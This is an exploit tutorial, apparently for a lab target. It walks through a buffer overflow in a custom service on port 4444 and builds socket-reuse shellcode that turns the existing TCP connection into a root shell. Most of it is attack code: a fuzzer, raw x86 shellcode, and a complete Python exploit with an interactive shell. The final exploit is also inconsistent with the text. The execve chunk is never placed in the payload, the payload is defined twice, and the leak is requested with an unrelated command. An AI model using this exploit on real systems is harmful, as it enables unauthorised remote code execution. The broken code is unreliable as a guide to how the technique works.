When exploiting a remote service behind a firewall, a standard reverse shell won’t work if outbound connections are blocked. Socket reuse shellcode solves this by hijacking the existing TCP connection — redirecting stdin, stdout, and stderr to the socket file descriptor already in use, then spawning a shell over it.
Reconnaissance
Identifying the Service
Use ss to find listening services on the target:
ss --tcp --listenState Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 5 0.0.0.0:4444 0.0.0.0:*A custom service is listening on port 4444. Connect to it:
nc 172.16.172.249 4444The server responds to input, suggesting a text-based protocol.
Protocol Fuzzing with Boofuzz
Use boofuzz to discover valid commands:
from boofuzz import *
session = Session(target=Target(
connection=SocketConnection("172.16.172.249", 4444, proto='tcp')
))
s_initialize("request")
s_string("FUZZ", fuzzable=True)
s_static("\r\n")
session.connect(s_get("request"))
session.fuzz()Monitor responses to identify which inputs the server accepts. In this case, the server expects commands prefixed with a keyword.
Reverse Engineering with Ghidra
Load the binary into Ghidra to understand the protocol. The decompiled chat function reveals the vulnerability:
void chat(char *param_1)
{
char local_2c[36];
puts("[+] Into vulnfunc");
printf("Buffer at %p\n", param_1);
fflush(stdout);
strcpy(local_2c, param_1);
return;
}Key observations:
strcpywith no bounds checking — classic buffer overflow- The buffer is only 36 bytes — tight space for shellcode
- The buffer address is leaked via
printf— this defeats PIE - The function is reached by sending
COMMANDfollowed by input
Understanding the Constraints
Firewall Rules
Examining the target’s iptables rules:
Chain INPUT: ACCEPT tcp dpt:4444
Chain OUTPUT: ACCEPT tcp spt:4444 ctstate ESTABLISHED
DROP everything elseThe firewall allows inbound connections on port 4444 and responses on established connections, but blocks all new outbound connections. A reverse shell won’t work — we must reuse the existing socket.
Discontinuous Buffers
Examining memory in GDB after triggering the overflow:
gdb-peda$ x/50wx 0xf74005d0
0xf74005d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf74005e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf74005f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7400600: 0x00000000 0x00000000 0x00000000 0x00000065
0xf7400610: 0x41414141 0x41414141 0x41414141 0x41414141
...The buffers are 0x40 bytes apart and the space between them is zeroed. The shellcode cannot be contiguous — it must be split into chunks and joined with short jumps.
Finding the EIP Offset
import pwn
# Generate cyclic pattern and send after "COMMAND "
# After crash, check EIP value
print(pwn.cyclic_find(0x61616169)) # value from EIPThe EIP overwrite occurs at 36 bytes (not including the COMMAND prefix).
Building the Exploit
Strategy
- Use the leaked buffer address to bypass PIE
- Split shellcode into chunks that fit between buffer gaps
- Use short jumps (
\xeb\xNN) to bridge the gaps between chunks - The shellcode will:
- Use
dup2syscalls to redirect fd 0, 1, 2 to the socket fd - Call
execve("/bin/sh")to spawn a shell
- Use
- Overwrite EIP with the leaked buffer address (+ offset) to jump to our shellcode
Crafting the Socket Reuse Shellcode
The shellcode needs to perform two operations: redirect file descriptors with dup2, then spawn a shell with execve.
Part 1: dup2 Loop (Redirect fd 0, 1, 2)
The socket file descriptor is consistently 4 (the server’s accept() returns fd 4 for each connection). We redirect stdin, stdout, and stderr to it:
# dup2 loop: redirect fd 0, 1, 2 to socket fd 4
scv1 = b""
scv1 += b"\x31\xc0" # xor eax, eax
scv1 += b"\x31\xdb" # xor ebx, ebx
scv1 += b"\x80\xc3\x04" # add bl, 0x4 (ebx = socket fd)
scv1 += b"\xb0\x3f" # mov al, 0x3f (syscall 63 = dup2)
scv1 += b"\x49" # dec ecx (fd: 2, 1, 0)
scv1 += b"\xcd\x80" # int 0x80
scv1 += b"\x85\xc0\x75\xf7" # test eax, eax; jnz (loop)
scv1 += b"\xeb\x2a" # short jump to next buffer (scv2)The \xeb\x2a at the end is a short jump that bridges the gap to the next buffer chunk. The jump distance must be calculated based on the buffer spacing.
Part 2: execve /bin/sh
# execve("/bin/sh", NULL, NULL)
scv2 = b"\x50" # push eax (null byte, eax is 0)
scv2 += b"\x68\x2f\x2f\x73\x68" # push "//sh"
scv2 += b"\x68\x2f\x62\x69\x6e" # push "/bin"
scv2 += b"\x89\xe3" # mov ebx, esp
scv2 += b"\x50" # push eax (NULL)
scv2 += b"\x53" # push ebx
scv2 += b"\x89\xe1" # mov ecx, esp
scv2 += b"\x99" # cdq (edx = 0)
scv2 += b"\xb0\x0b" # mov al, 0xb (execve)
scv2 += b"\xcd\x80" # int 0x80Splitting Shellcode Across Buffers
The key constraint is that the buffers are not continuous. Each chunk must end with a short jump to skip over the gap:
Buffer layout in memory:
|-- chunk 1 (dup2 loop) --|-- gap (0x40 apart) --|-- chunk 2 (execve) --|
\xeb\x2a
(short jump) ──────────────────►The short jump distance is calculated as:
gap = 0x40 - current_chunk_size
jmp_distance = gap - 2 (subtract 2 for the jmp instruction itself)Important: Clean Division Points
The shellcode must be split at points where there are no internal jumps crossing the boundary. The dup2 loop’s jnz instruction jumps backwards within the same chunk, which is safe. The short jump at the end bridges to the next chunk.
Assembling the Payload
import socket
import struct
HOST = "172.16.172.249"
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# Receive banner/prompt
data = s.recv(1024)
print(f"[*] Received: {data}")
# Send HELP to get the leaked buffer address
s.send(b"HELP\r\n")
data = s.recv(1024)
print(f"[*] Response: {data}")
# Parse the leaked buffer address from server output
# Example: "Buffer at 0xf74005d0"
buf_addr = int(data.split(b"0x")[1][:8], 16)
print(f"[+] Leaked buffer address: {hex(buf_addr)}")
# dup2 loop shellcode
scv1 = b""
scv1 += b"\x31\xc0"
scv1 += b"\x31\xdb"
scv1 += b"\x80\xc3\x04"
scv1 += b"\xb0\x3f\x49\xcd\x80"
scv1 += b"\x85\xc0\x75\xf7"
scv1 += b"\xeb\x2a" # short jump to next buffer
# execve shellcode
scv2 = b"\x50"
scv2 += b"\x68\x2f\x2f\x73\x68"
scv2 += b"\x68\x2f\x62\x69\x6e"
scv2 += b"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
# Build payload
PAYLOAD = (
b"COMMAND " +
b"A" * 36 + # fill buffer to EIP
struct.pack("<I", buf_addr + 0x8) + # overwrite EIP -> shellcode
b"D" * 100 # padding
)
# The shellcode is placed in the buffer before the EIP overwrite
# Adjust offsets based on where scv1 and scv2 land in memory
PAYLOAD = (
b"COMMAND " +
scv1 +
b"\x90" * (36 - len(scv1)) + # pad to EIP offset
struct.pack("<I", buf_addr + 0x8) + # EIP -> start of shellcode
b"D" * 100
)
s.send(PAYLOAD + b"\r\n")
# Interactive shell
import select
import sys
while True:
readable, _, _ = select.select([s, sys.stdin], [], [])
for r in readable:
if r is s:
data = s.recv(4096)
if not data:
print("[!] Connection closed")
sys.exit()
sys.stdout.write(data.decode(errors='replace'))
sys.stdout.flush()
else:
cmd = sys.stdin.readline()
s.send(cmd.encode())Verifying Exploitation
After sending the payload, the server processes COMMAND + our overflow. The strcpy copies our input into the 36-byte buffer, overwriting EIP. When the function returns:
- EIP jumps to the leaked buffer address (start of our shellcode)
- The dup2 loop redirects fd 0, 1, 2 to socket fd 4
- The short jump bridges to the execve shellcode
/bin/shspawns with I/O over the existing TCP connection
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
rootWhy Socket Reuse
Standard reverse shell shellcode creates a new outbound TCP connection. In this scenario that fails because the firewall drops all new outbound traffic. Socket reuse avoids this entirely by working with what’s already established:
Traditional reverse shell:
Target ──(new connection)──► Attacker ✗ Blocked by firewall
Socket reuse:
Target ◄──(existing connection)──► Attacker ✓ Already allowedThe trade-off is that you need to know the socket file descriptor number. Common approaches:
- Hardcode it if the server’s
accept()pattern is predictable (fd 4 is common for simple servers) - Loop through fds and test each with
getpeername - Recover from the stack if the fd was passed as a function argument
Buffer Splitting Considerations
When working with discontinuous buffers:
- Map the layout first — Use GDB to examine exactly where your input lands in memory and measure the gaps
- Keep jumps short — x86 short jumps (
\xeb) have a range of -128 to +127 bytes, which is usually sufficient - No cross-boundary jumps — Loops and conditional branches must stay within a single chunk
- Account for jump instruction size — The 2-byte
\xeb\xNNinstruction is part of your chunk, reducing usable space
Key Takeaways
- Leak addresses to defeat PIE — If the binary prints pointers, use them to calculate jump targets
- Socket reuse bypasses egress filtering — When the firewall blocks outbound connections, reuse the existing socket fd with dup2 + execve
- Split shellcode with short jumps — Discontinuous buffers require dividing shellcode at clean boundaries and bridging gaps with
\xebinstructions - Reverse engineer the protocol — Fuzzing alone may not reveal the entry point; static analysis with Ghidra can identify the exact input path to the vulnerable function
- The socket fd is often predictable — Simple forking servers typically assign fd 4 to the accepted connection